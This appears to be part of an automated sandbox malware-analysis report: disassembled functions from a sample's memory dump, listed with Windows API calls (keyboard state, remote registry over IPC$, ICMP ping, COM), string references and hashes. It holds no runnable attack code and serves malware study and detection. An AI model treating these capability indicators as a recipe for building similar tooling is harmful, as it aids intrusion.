GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0080F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00829742
LoadStringW.USER32(00000000,?,0080F7F8,00000001), ref: 00829745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00829866

Strings

Line %d:, xrefs: 008297A0
Line %d (File "%s"):, xrefs: 0082978F
Error: , xrefs: 0082981D
^ ERROR, xrefs: 008297FB
%s (%d) : ==> %s: %s %s, xrefs: 0082984A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 46368d359991ff8bf58532c44a7f40bd333f8994475d1ace1853d870ed6062a7
Instruction ID: a63d61bb1e4dcbf13ddcc244630ff7125b06ecf622f86473747527d33cfa57a2
Opcode Fuzzy Hash: 46368d359991ff8bf58532c44a7f40bd333f8994475d1ace1853d870ed6062a7
Instruction Fuzzy Hash: 13412072900219AADB14FBE0DD4AEEEB778FF15340F10016DF605B2192EA396F58CB61

Function 008206DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 008207A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 008207BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 008207DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00820804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0082082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00820837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0082083C

Strings

SOFTWARE\Classes\, xrefs: 0082070E
\IPC$, xrefs: 00820784
\CLSID, xrefs: 00820724

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: fefe9afe509ce04db1dfcaa396debbf837e1e0f9c8d201ba045034de2f11b93c
Instruction ID: 277844d0c6a75b7824f6206a978221fa0e9c68246054ac012ee4004225347a27
Opcode Fuzzy Hash: fefe9afe509ce04db1dfcaa396debbf837e1e0f9c8d201ba045034de2f11b93c
Instruction Fuzzy Hash: 9B41E572C10629EBDF11EBA4EC89DEEB778FF04350B144129E915A31A1EB349E44CF90

Function 00843C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00843C5C
CoInitialize.OLE32(00000000), ref: 00843C8A
CoUninitialize.OLE32 ref: 00843C94
_wcslen.LIBCMT ref: 00843D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00843DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00843ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00843F0E
CoGetObject.OLE32(?,00000000,0085FB98,?), ref: 00843F2D
SetErrorMode.KERNEL32(00000000), ref: 00843F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00843FC4
VariantClear.OLEAUT32(?), ref: 00843FD8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: b9928ea1d35e83802f28362078610ce62c7508060c525350fb870e8d5dd73388
Instruction ID: 10ed1c152e1e8150ef98d16cf97f3e01085463f68055e0b426330cd43389dd55
Opcode Fuzzy Hash: b9928ea1d35e83802f28362078610ce62c7508060c525350fb870e8d5dd73388
Instruction Fuzzy Hash: 94C10271608309AFD700DF68C884A2AB7E9FF89748F10491DF98ADB251DB31EE05CB52

Function 00837A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00837AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00837B8F
SHGetDesktopFolder.SHELL32(?), ref: 00837BA3
CoCreateInstance.OLE32(0085FD08,00000000,00000001,00886E6C,?), ref: 00837BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00837C74
CoTaskMemFree.OLE32(?,?), ref: 00837CCC
SHBrowseForFolderW.SHELL32(?), ref: 00837D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00837D7A
CoTaskMemFree.OLE32(00000000), ref: 00837D81
CoTaskMemFree.OLE32(00000000), ref: 00837DD6
CoUninitialize.OLE32 ref: 00837DDC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 31dd076e6b8ec4d2fd87df12d19b6fb2ab61e1faa5fac557cd2a4d0bf7709f9f
Instruction ID: 45703d74833cb90b1a4e78e3331c85caeaaef3ae057fe053bfb3d7d3b36dc2f1
Opcode Fuzzy Hash: 31dd076e6b8ec4d2fd87df12d19b6fb2ab61e1faa5fac557cd2a4d0bf7709f9f
Instruction Fuzzy Hash: CFC1F975A04209AFCB14DF64C888DAEBBF9FF48314F1484A9E915DB261D734ED45CB90

Function 0085541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00855504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00855515
CharNextW.USER32(00000158), ref: 00855544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00855585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0085559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 008555AC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 47b9eb042593ba04f8ad3881938046bac9bf856324bf3471141dac6cee42f93b
Instruction ID: ce0baee2529dc9f555b080a54a6cda9198babec5c233fa2831781b2c68e1b0f9
Opcode Fuzzy Hash: 47b9eb042593ba04f8ad3881938046bac9bf856324bf3471141dac6cee42f93b
Instruction Fuzzy Hash: 4861BE74904608EFDF109F94DC94AFE7BB9FB09326F104049F925E7290D7388A88DB60

Function 0081FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0081FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0081FB08
VariantInit.OLEAUT32(?), ref: 0081FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0081FB3A
VariantCopy.OLEAUT32(?,?), ref: 0081FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0081FBA1
VariantClear.OLEAUT32(?), ref: 0081FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0081FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0081FBCC
VariantClear.OLEAUT32(?), ref: 0081FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0081FBE9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 999acc51bacd6e7522329eeb7053191a2890ca53bdcef62dc5dadbf4833e0d4e
Instruction ID: cf4e7148e3654ce18ab9b46974321c116c9a5858023687b3b6937a2853979c83
Opcode Fuzzy Hash: 999acc51bacd6e7522329eeb7053191a2890ca53bdcef62dc5dadbf4833e0d4e
Instruction Fuzzy Hash: AE413075A00219DFCB00DF68C858DEDBBB9FF48355F008069E955E7262C734A946CFA0

Function 00829C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00829CA1
GetAsyncKeyState.USER32(000000A0), ref: 00829D22
GetKeyState.USER32(000000A0), ref: 00829D3D
GetAsyncKeyState.USER32(000000A1), ref: 00829D57
GetKeyState.USER32(000000A1), ref: 00829D6C
GetAsyncKeyState.USER32(00000011), ref: 00829D84
GetKeyState.USER32(00000011), ref: 00829D96
GetAsyncKeyState.USER32(00000012), ref: 00829DAE
GetKeyState.USER32(00000012), ref: 00829DC0
GetAsyncKeyState.USER32(0000005B), ref: 00829DD8
GetKeyState.USER32(0000005B), ref: 00829DEA

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 4495177f3da183ba72ff16683d249c37b8d727e7d6b8a96bb66909db7a7a9e5c
Instruction ID: 58ce416ef76860571ea2aabbdc67a421fa7e25b5264796330d426ef78be52059
Opcode Fuzzy Hash: 4495177f3da183ba72ff16683d249c37b8d727e7d6b8a96bb66909db7a7a9e5c
Instruction Fuzzy Hash: 4641D6345047D96DFF308664E8043B5BEE0FF11344F04805EDAC6965C2EBE499C8DBA2

Function 0084055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 008405BC
inet_addr.WSOCK32(?), ref: 0084061C
gethostbyname.WSOCK32(?), ref: 00840628
IcmpCreateFile.IPHLPAPI ref: 00840636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 008406C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 008406E5
IcmpCloseHandle.IPHLPAPI(?), ref: 008407B9
WSACleanup.WSOCK32 ref: 008407BF

Strings

Ping, xrefs: 00840676

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: ed6b601a94a4fc9fe50249b2d83ac8c41f2a65a859111ad8cc33ac1b6b035943
Instruction ID: 679abf5bfe679ffc303341b132986380dab7af22b02d539f9e44e502d5ff3876
Opcode Fuzzy Hash: ed6b601a94a4fc9fe50249b2d83ac8c41f2a65a859111ad8cc33ac1b6b035943
Instruction Fuzzy Hash: 8E9157356043059FD320DF15C889F1ABBE0FB88318F1585A9E66ADB6A2C735ED41CF92

Function 00848CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00848CF3

Part of subcall function 00828E54: _wcslen.LIBCMT ref: 00828E77

_wcslen.LIBCMT ref: 00848D4E
_wcslen.LIBCMT ref: 00848D9C
_wcslen.LIBCMT ref: 00848DDC
_wcslen.LIBCMT ref: 00848E6E

Strings

cdecl, xrefs: 00848D48, 00848D4D
stdcall, xrefs: 00848DD6, 00848DDB
winapi, xrefs: 00848D96, 00848D9B
none, xrefs: 00848E65, 00848E6A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: ab5ca4eb60bf2e9c477cf90e91529d65e130be5c818d4dfd095efff00a6fe6f1
Instruction ID: cac2f49caa7152924ea0bd40af5d7af20fe5438fc059fd7dea5e2ac9f15f188e
Opcode Fuzzy Hash: ab5ca4eb60bf2e9c477cf90e91529d65e130be5c818d4dfd095efff00a6fe6f1
Instruction Fuzzy Hash: E6519031A0111ADBCF24EFACC9409BEB7A5FF64724B214229E926E72C5EB35DD40C790

Function 0084372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00843774
CoUninitialize.OLE32 ref: 0084377F
CoCreateInstance.OLE32(?,00000000,00000017,0085FB78,?), ref: 008437D9
IIDFromString.OLE32(?,?), ref: 0084384C
VariantInit.OLEAUT32(?), ref: 008438E4
VariantClear.OLEAUT32(?), ref: 00843936

Strings

Failed to create object, xrefs: 008437E4, 0084389A
Invalid parameter, xrefs: 00843865
NULL Pointer assignment, xrefs: 0084381E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: aeb995adcbeb73302d1a8a1b71bb5288492ca255acfaac6daf2772b776784cc6
Instruction ID: 3abb555afe6fdc8937a07397e016269bd4f1e5401c81806859e4ea36363c6c67
Opcode Fuzzy Hash: aeb995adcbeb73302d1a8a1b71bb5288492ca255acfaac6daf2772b776784cc6
Instruction Fuzzy Hash: 7F616AB0608315AFD310DF54C889B6ABBE8FF49715F100829F995DB291D774EE48CB92

Function 00838195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00838257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00838267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00838273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00838310
SetCurrentDirectoryW.KERNEL32(?), ref: 00838324
SetCurrentDirectoryW.KERNEL32(?), ref: 00838356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0083838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00838395

Strings

*.*, xrefs: 0083839B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 03f29ab38121bcebfaffb890135444379567170c65a41e80f9e8d763868ce2c4
Instruction ID: 80521cf6fc8dd3a4c1a98dc36ca99412a0248162cc372135e43c3ebea490ea4e
Opcode Fuzzy Hash: 03f29ab38121bcebfaffb890135444379567170c65a41e80f9e8d763868ce2c4
Instruction Fuzzy Hash: 336145725043459FCB10EF64D845AAEB3E8FF89314F04892EF989C7251EB39E945CB92

Function 00833388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 008333CF

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 008333F0

Strings

Line %d (File "%s"):, xrefs: 00833443, 0083345C
Incorrect parameters to object property !, xrefs: 008334AB
Error: , xrefs: 008334D1
^ ERROR , xrefs: 0083349E
"%s" (%d) : ==> %s:%s%s, xrefs: 00833504
"%s" (%d) : ==> %s:, xrefs: 00833522

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 8c11d9549bd51f87184d04dc85ccb752c26af71e6ca54eeb460480ca885648c8
Instruction ID: abd8cabedb6422c54157ca4a478dbdcfe090c768ebcdebc30cdddb9f1a2ff19e
Opcode Fuzzy Hash: 8c11d9549bd51f87184d04dc85ccb752c26af71e6ca54eeb460480ca885648c8
Instruction Fuzzy Hash: A951BE3190020AEADF14EBA0DD4AEEEB7B8FF14340F104169F505B2192EB392F58DB61

Function 0082B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0082B5FC
_wcslen.LIBCMT ref: 0082B608
_wcslen.LIBCMT ref: 0082B64D
_wcslen.LIBCMT ref: 0082B68C
_wcslen.LIBCMT ref: 0082B6C7

Strings

REMOVE, xrefs: 0082B602, 0082B607
KEYS, xrefs: 0082B647, 0082B64C
APPEND, xrefs: 0082B6C1, 0082B6C6
EXISTS, xrefs: 0082B686, 0082B68B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 63b35fbdc7f8c79a3abf3c88ceb918a9d51fc2079d64b42445433dc9eb5f6824
Instruction ID: 4af1de377458b904db5fb1ee7578e6c1d393765d68e8528c99939f7488ec2bb3
Opcode Fuzzy Hash: 63b35fbdc7f8c79a3abf3c88ceb918a9d51fc2079d64b42445433dc9eb5f6824
Instruction Fuzzy Hash: B741A532A021369BCB206FBD98905BE77A5FB70758B244229E562D7284F735CDC1C790

Function 00835393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 008353A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00835416
GetLastError.KERNEL32 ref: 00835420
SetErrorMode.KERNEL32(00000000,READY), ref: 008354A7

Strings

READONLY, xrefs: 00835452
NOTREADY, xrefs: 0083544B
UNKNOWN, xrefs: 00835444
INVALID, xrefs: 00835459
READY, xrefs: 00835460, 00835468

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 5e1b3656d63530f551a156777de2e7aa76b694ba14acd260c30c022279b63cda
Instruction ID: 1c6a831d21927122c3cae6bc8082f60cf8a9117d572e8f6e9990cf660a6c1cf8
Opcode Fuzzy Hash: 5e1b3656d63530f551a156777de2e7aa76b694ba14acd260c30c022279b63cda
Instruction Fuzzy Hash: 523180B5A006089FC714DF68C488FAABBB4FF85309F148069E905DB292E775DD86CBD1

Function 00853C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00853C79
SetMenu.USER32(?,00000000), ref: 00853C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00853D10
IsMenu.USER32(?), ref: 00853D24
CreatePopupMenu.USER32 ref: 00853D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00853D5B
DrawMenuBar.USER32 ref: 00853D63

Strings

F, xrefs: 00853D4E
0, xrefs: 00853C54

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 887ae02a88bd71a121b2cff82650506b25d3eefca3231ebff1208438bbfc3c69
Instruction ID: 5b634b9ff1332377d7e3c97e6f8531e1a76c1122273166e9f8dd85372b5f997e
Opcode Fuzzy Hash: 887ae02a88bd71a121b2cff82650506b25d3eefca3231ebff1208438bbfc3c69
